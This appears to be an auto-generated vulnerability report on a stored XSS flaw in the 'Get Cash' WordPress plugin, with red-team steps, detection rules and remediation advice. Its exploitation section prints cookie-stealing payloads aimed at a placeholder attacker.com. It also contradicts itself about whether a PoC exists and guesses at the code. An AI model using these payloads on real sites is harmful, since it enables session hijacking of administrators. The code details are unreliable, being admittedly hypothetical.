CVE-2025-58823
POC_DETAILS: None
Executive Summary
CVE-2025-58823 is a Stored Cross-Site Scripting (XSS) vulnerability identified in the "Get Cash" WordPress plugin, developed by The African Boss. The vulnerability affects all versions up to and including 3.2.3. This flaw allows an authenticated attacker with contributor-level privileges or higher to inject malicious scripts into web pages generated by the plugin. When an administrator or other user views the affected page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability is classified as Improper Neutralization of Input During Web Page Generation (CWE-79). As of this report, no official patch is available, and no public proof-of-concept (PoC) code has been released. The EPSS score is 0.0%, indicating a low probability of exploitation in the wild at this time, but the risk remains significant for affected WordPress sites.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides in a WordPress plugin, which is part of the broader WordPress ecosystem. WordPress plugins are distributed through the official WordPress Plugin Directory or third-party marketplaces. The "Get Cash" plugin is not a standard package managed by npm, PyPI, Go, or Ruby, but it is a critical component of the WordPress supply chain. Users should verify the integrity of the plugin by checking its checksum against the official repository and ensure they are not using modified or malicious versions. The lack of a patch from the vendor increases the supply chain risk, as site administrators may be forced to use an unpatched version or seek alternative plugins.
CVSS Breakdown & Threat Level
- CVSS Score: 6.5 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
- Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required for exploitation.
- Privileges Required (PR): Low (L) – An attacker needs contributor-level access to the WordPress site.
- User Interaction (UI): Required (R) – The victim must view the compromised page.
- Scope (S): Changed (C) – The impact extends beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited information disclosure.
- Integrity (I): Low (L) – Limited ability to modify data.
- Availability (A): Low (L) – Limited impact on availability.
Threat Level: Medium. While the CVSS score is 6.5, the requirement for authenticated access and user interaction reduces the immediate threat. However, the stored nature of the XSS means that a single injection can affect multiple users, including administrators, making it a significant risk for multi-user WordPress sites.
Deep Dive & Mechanics
The vulnerability exists in the "Get Cash" plugin's input handling. The plugin likely accepts user input through forms or shortcodes and then displays that input on web pages without proper sanitization or output encoding. Specifically, the plugin fails to neutralize HTML and JavaScript content, allowing an attacker to inject arbitrary scripts.
Attack Flow:
- An attacker with contributor-level privileges logs into the WordPress admin panel.
- The attacker navigates to a page or post where the "Get Cash" plugin processes user input (e.g., a custom field, shortcode attribute, or form submission).
- The attacker injects a malicious payload, such as
<script>alert('XSS')</script>, into the input field. - The plugin stores the payload in the WordPress database without sanitization.
- When an administrator or other user views the page containing the injected content, the script executes in their browser.
- The attacker can then steal session cookies, redirect users to malicious sites, or perform actions on behalf of the victim.
Root Cause: The plugin uses functions like echo or print to output user-supplied data without applying WordPress's built-in escaping functions such as esc_html(), esc_attr(), or wp_kses_post().
Vulnerable vs. Patched Code
Since no patch is available, the following is a hypothetical comparison based on common XSS remediation.
Vulnerable Code (PHP):
<?php
// Vulnerable: Direct output without sanitization
function get_cash_display_amount($atts) {
$amount = $atts['amount'];
echo "<div class='cash-amount'>$amount</div>";
}
?>
Patched Code (PHP):
<?php
// Patched: Output escaped with esc_html()
function get_cash_display_amount($atts) {
$amount = esc_html($atts['amount']);
echo "<div class='cash-amount'>$amount</div>";
}
?>
The patched version uses esc_html() to convert special characters like <, >, &, ", and ' into their HTML entities, preventing script execution.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A WordPress site with the "Get Cash" plugin version <= 3.2.3 installed and activated.
- A user account with contributor-level privileges or higher.
Exploitation Steps:
- Log in to the WordPress admin panel as a contributor.
- Create a new post or edit an existing one.
- In the content area, insert a shortcode or custom field that the plugin processes. For example, if the plugin uses a shortcode like
[get_cash amount="100"], modify theamountattribute. - Inject the following payload into the attribute:
"><script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script> - Save the post and wait for an administrator to view it.
- The administrator's browser will execute the script, sending their session cookie to the attacker's server.
Alternative Payload:
<img src=x onerror="fetch('https://attacker.com/steal?data='+document.cookie)">
Blue Team
Detection:
- Monitor WordPress admin logs for unusual post creation or editing by low-privilege users.
- Look for posts containing suspicious HTML tags like
<script>,<iframe>, or event handlers likeonerror,onload. - Use a Web Application Firewall (WAF) to block common XSS payloads.
Prevention:
- Disable the "Get Cash" plugin until a patch is available.
- Restrict contributor-level access to trusted users only.
- Implement Content Security Policy (CSP) headers to block inline scripts.
Indicators of Compromise (IOCs)
Network IOCs:
- Outbound HTTP requests to unknown or suspicious domains containing cookie data.
- Requests to URLs with patterns like
/steal.php?cookie=or/collect?data=.
Host IOCs:
- Presence of unexpected JavaScript code in WordPress posts or pages.
- Modified plugin files in
/wp-content/plugins/get-cash/with injected code. - Unusual entries in the WordPress
wp_poststable containing<script>tags.
File IOCs:
- Suspicious files in the uploads directory (e.g., PHP shells uploaded via XSS).
- Modified
.htaccessfiles redirecting to malicious sites.
Detection Engineering
YARA Rule
rule CVE_2025_58823_Stored_XSS {
meta:
description = "Detects stored XSS payloads targeting CVE-2025-58823 in Get Cash plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-58823"
strings:
$xss_payload1 = /<script[^>]*>.*?<\/script>/is
$xss_payload2 = /onerror\s*=\s*["']?[^"'\s>]+/is
$xss_payload3 = /onload\s*=\s*["']?[^"'\s>]+/is
$plugin_path = /wp-content\/plugins\/get-cash/i
condition:
any of ($xss_payload*) and $plugin_path
}
Sigma Rule
title: Stored XSS in Get Cash WordPress Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts targeting CVE-2025-58823 in the Get Cash plugin
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: '/wp-admin/post.php'
cs-uri-query|contains: 'action=edit'
sc-status: 200
cs-uri-query|contains: 'post='
filter:
cs-uri-query|contains: 'wp_http_referer'
condition: selection and not filter
falsepositives:
- Legitimate use of JavaScript in posts by authorized users
level: medium
tags:
- attack.t1190
- cve.2025.58823
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-58823 Stored XSS Payload in Get Cash Plugin"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"action=edit"; http_uri; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the Plugin: Deactivate and uninstall the "Get Cash" plugin until a patch is released.
- Restrict User Roles: Limit contributor-level access to only trusted users. Consider using a plugin like "User Role Editor" to further restrict capabilities.
- Apply Virtual Patching: Use a WAF (e.g., Cloudflare, ModSecurity) to block requests containing common XSS patterns.
Long-Term Solutions:
- Monitor for Patches: Regularly check the WordPress Plugin Directory or the vendor's website for updates.
- Implement CSP: Add a Content Security Policy header to your web server configuration to block inline scripts and restrict script sources.
Header set Content-Security-Policy "default-src 'self'; script-src 'self' https://trusted-cdn.com;" - Conduct Security Audits: Review all plugins for similar vulnerabilities and ensure proper input validation and output encoding.
Valters IT Signature:
Valters IT Cyber Threat Intelligence
Report ID: VIT-2025-58823
Analyst: Senior DevSecOps Engineer
Date: 2025-04-10
Classification: CONFIDENTIAL
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.